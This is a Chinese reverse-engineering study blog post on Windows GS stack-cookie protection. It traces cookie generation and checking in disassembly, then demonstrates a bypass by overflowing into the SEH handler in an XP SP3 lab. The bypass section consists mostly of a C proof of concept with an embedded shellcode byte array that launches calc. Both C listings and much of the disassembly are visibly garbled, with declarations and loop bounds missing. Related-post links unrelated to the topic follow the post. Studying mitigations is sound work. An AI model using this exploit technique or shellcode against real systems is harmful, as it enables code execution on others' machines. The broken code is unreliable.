GS简介:

  Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址或者异常处理句柄的话,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序,no return,no exception,so no exploit。

GS原理:

  下面用一个简单的C程序来跟踪一下GS的流程,测试环境为XP SP3+VS2005(DEP OFF,SAFESEH OFF)。

C代码:

#include "stdafx.h"
#include<stdio.h>
#include<string.h>

char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
void overflow();
int main()
{
     overflow();
     printf("fuction returned");
     ;
}

void overflow()
{
     ];
     memcpy(output, name,sizeof(name));
     ;i<&&output[i];i++)
     printf("\\0x%x",output[i]);
}

编译之后,执行直接报错,因为复制字符串时发生了溢出,覆盖了canary,程序直接退出。

用Olldbg打开,如下图:

  系统默认中断在security_init_cookie函数,程序载入内存后这个函数首先运行。下面就是通过OD来查看GS机制的分析部分,分三个步骤:①计算随机种子。②canary写入栈帧。③GS校验。如果觉得看asm比较枯燥的话,就了解一下这三个步骤的大体流程就可以了。

大体流程就是:

  1. 程序启动时,读取.data节的第一个dword。
  2. 以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
  3. 把加密后的种子再写入.data节的第一个dword。
  4. 函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。
  5. 函数主体正常执行。
  6. 函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。

Asm代码:

①   计算随机种子。

               push    ebp

004016E5  |.  8BEC             mov     ebp, esp

      mov     eax, dword ptr [__security_cookie]  //取exe地址00403000处的第一个DWORD到eax。

 F8        ],   //设置局部变量为0,此处是两个DWORD,作为filetime结构体,后面用来存放获取的系统时间。

 FC        ],   //同上。

               push    ebx  //备份ebx,返回时恢复。

               push    edi  //备份edi,返回时恢复。

004016F9  |.  BF 4EE640BB      mov     edi, BB40E64E  //把00403000处的第一个dword,也就是.DATA节的第一个双字赋值给edi。

004016FE  |.  3BC7             cmp     eax, edi  //判断eax和edi是否相等。

  |.  BB 0000FFFF      mov     ebx, FFFF0000  //ebx赋值为FFFF0000。

  |.     //如果eax和edi相等则跳转。

  |.  85C3             test    ebx, eax

  |.               

0040170B  |.  F7D0             not     eax

      mov     dword ptr [__security_cookie_complement], eax

  |.  EB             

  |>                 push    esi  //备份esi,返回时用来恢复。

  |.  8D45 F8          ]  //取得filetime结构体地址。

  |.                 push    eax                                               ;   //pFileTime入栈。

  |.  FF15     call    dword ptr [<&KERNEL32.GetSystemTimeAsFileTime>]   ;   //调用GetSystemTimeAsFileTime获取系统时间,放入ebp-12至ebp-4共8个字节。

]  //取得系统时间的高4字节。

  |.   F8          ]  //系统时间高4字节与低4字节进行异或,结果存入esi。

  |.  FF15     call    dword ptr [<&KERNEL32.GetCurrentProcessId>]  //调用GetCurrentProcessId取得当前进行ID,存入eax。

0040172B  |.  33F0             xor     esi, eax  //进程ID和前面的esi进行异或,结果存入esi。

    call    dword ptr [<&KERNEL32.GetCurrentThreadId>]        ; //获取当前线程ID,存入eax。

  |.  33F0             xor     esi, eax  //线程ID和前面的esi进行异或,结果存入esi。

  |.  FF15     call    dword ptr [<&KERNEL32.GetTickCount>]  //获取系统启动至今的微秒数,存入eax。

0040173B  |.  33F0             xor     esi, eax  //系统启动至今微秒数和前面的esi进行异或,结果存入esi。

]  //准备pPerformanceCount函数的参数,一个large_integer类型的结构体指针,结构体8个字节。

  |.                 push    eax  // lpPerformanceCount参数入栈。

  |.  FF15 0C204000    call    dword ptr [<&KERNEL32.QueryPerformanceCounter>]  //调用性能计数器,其实还是个高精度时间戳。

  |.  8B45 F4          mov     eax, dword ptr [ebp-C]  //把时间戳高4位赋给eax。

 F0          ]  //把时间戳高4位和低4位进行异或,结果存入eax。和前面GetSystemTimeAsFileTime算法一样。

0040174D  |.  33F0             xor     esi, eax  //时间戳异或结果和esi进行异或计算,结果存入esi。

0040174F  |.  3BF7             cmp     esi, edi  //比较esi和edi是否相同,防止出现碰撞。

  |.               jnz     short 0040175A  //不相等的话,跳转。

  |.  BE 4FE640BB      mov     esi, BB40E64F  //相等的话,

  |.  EB 

0040175A  |>  85F3             test    ebx, esi  //比较esi和ebx是否相同。

               //不相同的话,加密结束,写入。

0040175E  |.  8BC6             mov     eax, esi

  |.  C1E0           

  |.  0BF0             or      esi, eax

  |>       mov     dword ptr [__security_cookie], esi  //把加密后的canary放入.data区首的4个字节。

0040176B  |.  F7D6             not     esi  //密文取反。

     mov     dword ptr [__security_cookie_complement], esi  //密文取反写入.data取的第5到第8个字节,紧挨着canary。

  |.  5E               pop     esi  //恢复环境。

  |>  5F               pop     edi  //恢复环境。

  |.  5B               pop     ebx  //恢复环境。

  |.  C9               leave  //恢复环境。与Mov esp,ebp+pop ebp等效。

  \.  C3               retn  //函数返回。

②   Canary写入栈帧:

 >/$  83EC 0C          sub     esp, 0C  //函数开头,开辟栈空间。

  |.  A1       mov     eax, dword ptr [__security_cookie]  //把加密后的种子赋给eax。

  |.  33C4             xor     eax, esp  //eax和当前esp进行异或计算。

         ], eax  //把异或后得到的canary写入栈帧。

③   GS校验:

        ]  //把canary赋给ecx。

  |.  33CC             xor     ecx, esp  //ecx和esp异或。

    cmp     ecx, dword ptr [__security_cookie]  //比较ecx和.data区的加密种子是否相同。

   .                 //不相同则校验失败,跳转失败处理分支。

   .  F3:              prefix rep:  //相同则返回原函数。

   .  C3               retn  //相同则返回原函数。

   >  E9 AD020000      jmp     __report_gsfailure  //跳入失败处理分支,主要功能是调用UnhandledExceptionFilte,显示个程序崩溃的框框,如果不选择调试,则调用TerminateProcess结束当前进程。

GS绕过:

  了解GS的保护原理之后,绕过方法就水到渠成了。既然你GS在我函数返回前就给我来个突然杀出,那我就在你GS校验函数执行之前给你来个突然杀出。如果函数在执行时,发生异常,则操作系统(NTDLL.DLL)会直接接管,然后进入异常处理过程。这样GS校验函数就没有了执行的机会。

  其实不只是覆盖SEH这一种绕过方法,只要想办法在函数的security_check_cookie函数执行之前,获取EIP控制权都可以绕过,比如在函数溢出之后且函数返回之前,调用了某些函数指针,如果在溢出的时候覆盖掉这个指针,就可以绕过GS。当然还有同时覆盖.data区和canary来使security_check_cookie验证通过,不过遇到这种漏洞的概率太小了。

下面我们改一下我们的C程序,让溢出的字符串继续往下溢出,直到溢出SEH structure,并且溢出到栈顶,这样就会触发一个访问异常,于是就进入了异常处理过程,从而悄无声息的绕过了GS保护机制。(关于覆盖SEH进行溢出利用的方法请参见我的另一篇博文)。

C代码:

// GSBYPASS.cpp : 定义控制台应用程序的入口点。

#include "stdafx.h"
#include<stdio.h>
#include<string.h>

char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xEB,0x06,0x90,0x90,0x10,0x12,0x40,0x00,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};

void overflow();

int main()
{
     overflow();
     printf("fuction returned");
     ;
}

void overflow()
{
     ];
     memcpy(output, name,sizeof(name));
     ;i<&&output[i];i++)
     printf("\\0x%x",output[i]);
}

编译,运行,成功绕过:

逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试的更多相关文章

  1. gcc栈溢出保护机制:stack-protector

    关键词:stack-protector.stack-protector-strong.stack-protector-all等等. 1. gcc栈保护机制stack-protector简介 gcc提供 ...

  2. SonarQube学习(四)- 使用Jenkins集成JaCoCo和SonarQube检查代码测试覆盖率

    一.前言 我始终觉得学习这件事是自己的事,自己会了就是会了,无关于他人,但有点小伤感的是现在的阅读量开始走低. 二.准备 安装Jenkins,请移步<Docker学习(二)- Docker 安装 ...

  3. Python爬虫学习:四、headers和data的获取

    之前在学习爬虫时,偶尔会遇到一些问题是有些网站需要登录后才能爬取内容,有的网站会识别是否是由浏览器发出的请求. 一.headers的获取 就以博客园的首页为例:http://www.cnblogs.c ...

  4. java之jvm学习笔记四(安全管理器)

    java之jvm学习笔记四(安全管理器) 前面已经简述了java的安全模型的两个组成部分(类装载器,class文件校验器),接下来学习的是java安全模型的另外一个重要组成部分安全管理器. 安全管理器 ...

  5. Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置

    Java Web学习(四)Eclipse与Maven整合配置 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6.3) 二. ...

  6. Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置 (重整版并解决问题)

    Java Web学习(四)Eclipse与Maven整合配置 (重整版) 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6 ...

  7. 【数据库】3.0 MySQL入门学习(三)——Windows系统环境下MySQL安装

    1.0 我的操作系统是window10 专业版 64位.,不过至少windows7以上系统都是一样的. 关于MySQL如何下载,请参考博文: [数据库]2.0 如何获得MySQL以及MySQL安装 h ...

  8. SODBASE CEP学习(四)续:类SQL语言EPL与Storm或jStorm集成-使用分布式缓存

    流式计算在一些情况下会用到分布式缓存,从而实现(1)想把统计或计算结果保存在分布缓存中.供其他模块或其他系统调用. (2)某一滑动时间窗体上计数.比如实时统计1小时每一个Cookie的訪问量.实时统计 ...

  9. kvm虚拟化学习笔记(四)之kvm虚拟机日常管理与配置

    KVM虚拟化学习笔记系列文章列表----------------------------------------kvm虚拟化学习笔记(一)之kvm虚拟化环境安装http://koumm.blog.51 ...

随机推荐

  1. (八)Eclipse创建Maven项目运行mvn命令

    1.Eclipse创建Maven项目 使用Eclipse创建一个Maven项目非常的简单,选择菜单项File>New>Other(也可以在项目结构空白处右击鼠标键),在弹出的对话框中选择M ...

  2. Oracle用法、函数备忘记录

    Listagg select * from emp select LISTAGG(ename,'-') within group (order by deptno desc) from emp; 可以 ...

  3. MySQL 一致性读 深入研究

    一致性读,又称为快照读.使用的是MVCC机制读取undo中的已经提交的数据.所以它的读取是非阻塞的. 相关文档:http://dev.mysql.com/doc/refman/5.6/en/innod ...

  4. linux的七大运行级别及级别修改

    运行级别     级别说明 0           所有进程将被终止,机器将有序的停止,关机时系统处于这个运行级别 1           单用户模式,用于系统维护,只有少数进程运行,同时所有服务也不 ...

  5. APUE学习之多线程编程(一):线程的创建和销毁

    一.线程标识      和每个进程都有一个进程ID一样,每个线程也有一个线程ID,线程ID是以pthread_t数据类型来表示的,在Linux中,用无符号长整型表示pthread_t,Solaris ...

  6. 无法安装Windows Live“OnCatalogResult:0x80190194”错误的解决方法

    今天想安装一个博客客户端,结果安装一直报错"OnCatalogResult:0x80190194",百度查到了解决发放再此记录下来,以备后用. 到官网下载了一个在线安装程序,可是一 ...

  7. 破解 Windows 下Markdown 编辑器 MarkdownPad 2

    MarkdownPad 是 Windows 平台下一款优秀的 Markdown 编辑器,本文简单介绍 Markdown 以及使用一种方法破解 MarkdownPad 使其升级到专业版.该方法仅限于教育 ...

  8. 虚拟机上装uoj

    前期准备: x64 ubuntu 镜像.vmware.ss账号 注意一定要有64位镜像! ss不是必须的,不过没有的话就等着下载一晚上吧... 首先先装好ubuntu,我装的是ubuntu-16.04 ...

  9. 对比Haproxy和Nginx负载均衡效果

    为了对比Hproxy和Nginx负载均衡的效果,分别在测试机上(以下实验都是在单机上测试的,即负载机器和后端机器都在一台机器上)做了这两个负载均衡环境,并各自抓包分析.下面说下这两种负载均衡环境下抓包 ...

  10. November 3rd Week 45th Thursday 2016

    Shared joy is a double joy, the same as your gift and idea. 与人分享,欢乐.灵感加倍. As a coder, I must work wi ...